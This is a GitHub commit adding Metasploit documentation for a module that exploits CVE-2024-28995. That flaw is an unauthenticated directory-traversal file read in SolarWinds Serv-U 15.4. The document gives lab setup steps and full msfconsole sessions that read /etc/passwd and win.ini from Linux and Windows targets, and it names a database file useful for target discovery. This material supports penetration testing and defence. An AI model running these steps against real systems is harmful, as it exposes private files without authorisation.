Skip to content

Commit 7617a53

Browse files
sfewer-r7sfewer-r7
committed
add documentation
1 parent 043d323 commit 7617a53

File tree

1 file changed

+183
-0
lines changed

1 file changed

+183
-0
lines changed

‎documentation/modules/auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995.md

Lines changed: 183 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,183 @@
1+
## Vulnerable Application
2+
This module exploits an unauthenticated file read vulnerability, due to directory traversal, affecting
3+
SolarWinds Serv-U FTP Server 15.4, Serv-U Gateway 15.4, and Serv-U MFT Server 15.4. All versions prior to
4+
the vendor supplied hotfix "15.4.2 Hotfix 2" (version 15.4.2.157) are affected.
5+
6+
## Testing
7+
Follow the below instruction for either Linux or Windows.
8+
* Download a vulnerable version of SolarWinds Serv-U MFT Server, for example version `15.4.2.126`.
9+
* Install the Serv-U Server by running the installer binary and accepting the defaults for every setting.
10+
* Log into the Serv-U Server Management Console, and create a new Serv-U Domain. Follow the instruction and
11+
accept the default values during setup. The newly created domain will expose a HTTP and HTTPS service bound to all
12+
interfaces. These are the `RHOST`, `RPORT`, and `SSL` options we set in the auxiliary module.
13+
14+
To read a file we set the `TARGETFILE` option to the absolute path of the file we want to read. For example on Linux
15+
we can set the target file to `/etc/passwd`, or on Windows to `C:\\Windows\win.ini`.
16+
17+
Note: When using `msfconsole` you will need to escape a backslash (`\ `) with a double backslash (`\\`).
18+
19+
On Windows, by default, the install directory is `C:\ProgramData\RhinoSoft\Serv-U\ ` and the `Serv-U.exe` service runs
20+
as the `NT AUTHORITY\NETWORK SERVICE` user.
21+
22+
On Linux, by default, the install directory is `/usr/local/Serv-U/` and the `Serv-U` service runs as `root`.
23+
The file `/usr/local/Serv-U/Shares/Serv-U.FileShares` is a SQLite database containing the absolute path of all files
24+
shared by Serv-U, and can be downloaded and used for target file discovery. This database file is not accessible on a
25+
Windows target, as it is locked by the `Serv-U.exe` process and cannot be opened a second time.
26+
27+
## Verification Steps
28+
29+
1. Start msfconsole
30+
2. `use auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995`
31+
3. `set RHOST <TARGET_IP_ADDRESS>`
32+
4. `set STORE_LOOT false`
33+
5. `set TARGETFILE /etc/passwd`
34+
6. `check`
35+
7. `run`
36+
37+
## Scenarios
38+
39+
### A vulnerable Linux target
40+
41+
```
42+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set RHOST 192.168.86.43
43+
RHOST => 192.168.86.43
44+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set RPORT 443
45+
RPORT => 443
46+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set SSL true
47+
[!] Changing the SSL option's value may require changing RPORT!
48+
SSL => true
49+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set STORE_LOOT false
50+
STORE_LOOT => false
51+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set TARGETFILE /etc/passwd
52+
TARGETFILE => /etc/passwd
53+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > show options
54+
55+
Module options (auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995):
56+
57+
Name Current Setting Required Description
58+
---- --------------- -------- -----------
59+
PATH_TRAVERSAL_COUNT 4 yes The number of double dot (..) path segments needed to traverse to the root folder.
60+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
61+
RHOSTS 192.168.86.43 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
62+
RPORT 443 yes The target port (TCP)
63+
SSL true no Negotiate SSL/TLS for outgoing connections
64+
STORE_LOOT false no Store the target file as loot
65+
TARGETFILE /etc/passwd yes The full path of a target file to read.
66+
TARGETURI / yes The base URI path to the web application
67+
VHOST no HTTP server virtual host
68+
69+
70+
View the full module info with the info, or info -d command.
71+
72+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > check
73+
[+] 192.168.86.43:443 - The target is vulnerable. SolarWinds Serv-U version 15.4.2.126 (Linux 64-bit; Version: 6.5.0-15-generic)
74+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > run
75+
[*] Running module against 192.168.86.43
76+
77+
[*] Running automatic check ("set AutoCheck false" to disable)
78+
[+] The target is vulnerable. SolarWinds Serv-U version 15.4.2.126 (Linux 64-bit; Version: 6.5.0-15-generic)
79+
[*] Reading file /etc/passwd
80+
root:x:0:0:root:/root:/bin/bash
81+
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
82+
bin:x:2:2:bin:/bin:/usr/sbin/nologin
83+
sys:x:3:3:sys:/dev:/usr/sbin/nologin
84+
sync:x:4:65534:sync:/bin:/bin/sync
85+
games:x:5:60:games:/usr/games:/usr/sbin/nologin
86+
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
87+
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
88+
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
89+
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
90+
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
91+
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
92+
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
93+
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
94+
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
95+
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
96+
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
97+
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
98+
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
99+
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
100+
messagebus:x:102:105::/nonexistent:/usr/sbin/nologin
101+
systemd-timesync:x:103:106:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
102+
syslog:x:104:111::/home/syslog:/usr/sbin/nologin
103+
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
104+
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
105+
uuidd:x:107:115::/run/uuidd:/usr/sbin/nologin
106+
systemd-oom:x:108:116:systemd Userspace OOM Killer,,,:/run/systemd:/usr/sbin/nologin
107+
tcpdump:x:109:117::/nonexistent:/usr/sbin/nologin
108+
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
109+
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
110+
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
111+
kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
112+
avahi:x:114:121:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
113+
cups-pk-helper:x:115:122:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
114+
rtkit:x:116:123:RealtimeKit,,,:/proc:/usr/sbin/nologin
115+
whoopsie:x:117:124::/nonexistent:/bin/false
116+
sssd:x:118:125:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
117+
speech-dispatcher:x:119:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
118+
nm-openvpn:x:120:126:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
119+
saned:x:121:128::/var/lib/saned:/usr/sbin/nologin
120+
colord:x:122:129:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
121+
geoclue:x:123:130::/var/lib/geoclue:/usr/sbin/nologin
122+
pulse:x:124:131:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
123+
gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false
124+
hplip:x:126:7:HPLIP system user,,,:/run/hplip:/bin/false
125+
gdm:x:127:133:Gnome Display Manager:/var/lib/gdm3:/bin/false
126+
mysql:x:128:136:MySQL Server,,,:/nonexistent:/bin/false
127+
fwupd-refresh:x:129:137:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
128+
xrdp:x:130:138::/run/xrdp:/usr/sbin/nologin
129+
130+
[*] Auxiliary module execution completed
131+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) >
132+
```
133+
134+
### A vulnerable Windows target
135+
136+
```
137+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set RHOST 192.168.86.68
138+
RHOST => 192.168.86.68
139+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set RPORT 80
140+
RPORT => 80
141+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set SSL false
142+
[!] Changing the SSL option's value may require changing RPORT!
143+
SSL => false
144+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > set TARGETFILE c:\\\\Windows\\win.ini
145+
TARGETFILE => c:\\Windows\win.ini
146+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > show options
147+
148+
Module options (auxiliary/gather/solarwinds_servu_fileread_cve_2024_28995):
149+
150+
Name Current Setting Required Description
151+
---- --------------- -------- -----------
152+
PATH_TRAVERSAL_COUNT 4 yes The number of double dot (..) path segments needed to traverse to the root folder.
153+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
154+
RHOSTS 192.168.86.68 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
155+
RPORT 80 yes The target port (TCP)
156+
SSL false no Negotiate SSL/TLS for outgoing connections
157+
STORE_LOOT false no Store the target file as loot
158+
TARGETFILE c:\\Windows\win.ini yes The full path of a target file to read.
159+
TARGETURI / yes The base URI path to the web application
160+
VHOST no HTTP server virtual host
161+
162+
163+
View the full module info with the info, or info -d command.
164+
165+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > check
166+
[+] 192.168.86.68:80 - The target is vulnerable. SolarWinds Serv-U version 15.4.2.126 (Windows Server 2012 64-bit; Version: 6.2.9200)
167+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) > run
168+
[*] Running module against 192.168.86.68
169+
170+
[*] Running automatic check ("set AutoCheck false" to disable)
171+
[+] The target is vulnerable. SolarWinds Serv-U version 15.4.2.126 (Windows Server 2012 64-bit; Version: 6.2.9200)
172+
[*] Reading file c:\\Windows\win.ini
173+
; for 16-bit app support
174+
[fonts]
175+
[extensions]
176+
[mci extensions]
177+
[files]
178+
[Mail]
179+
MAPI=1
180+
181+
[*] Auxiliary module execution completed
182+
msf6 auxiliary(gather/solarwinds_servu_fileread_cve_2024_28995) >
183+
```

0 commit comments

Comments
 (0)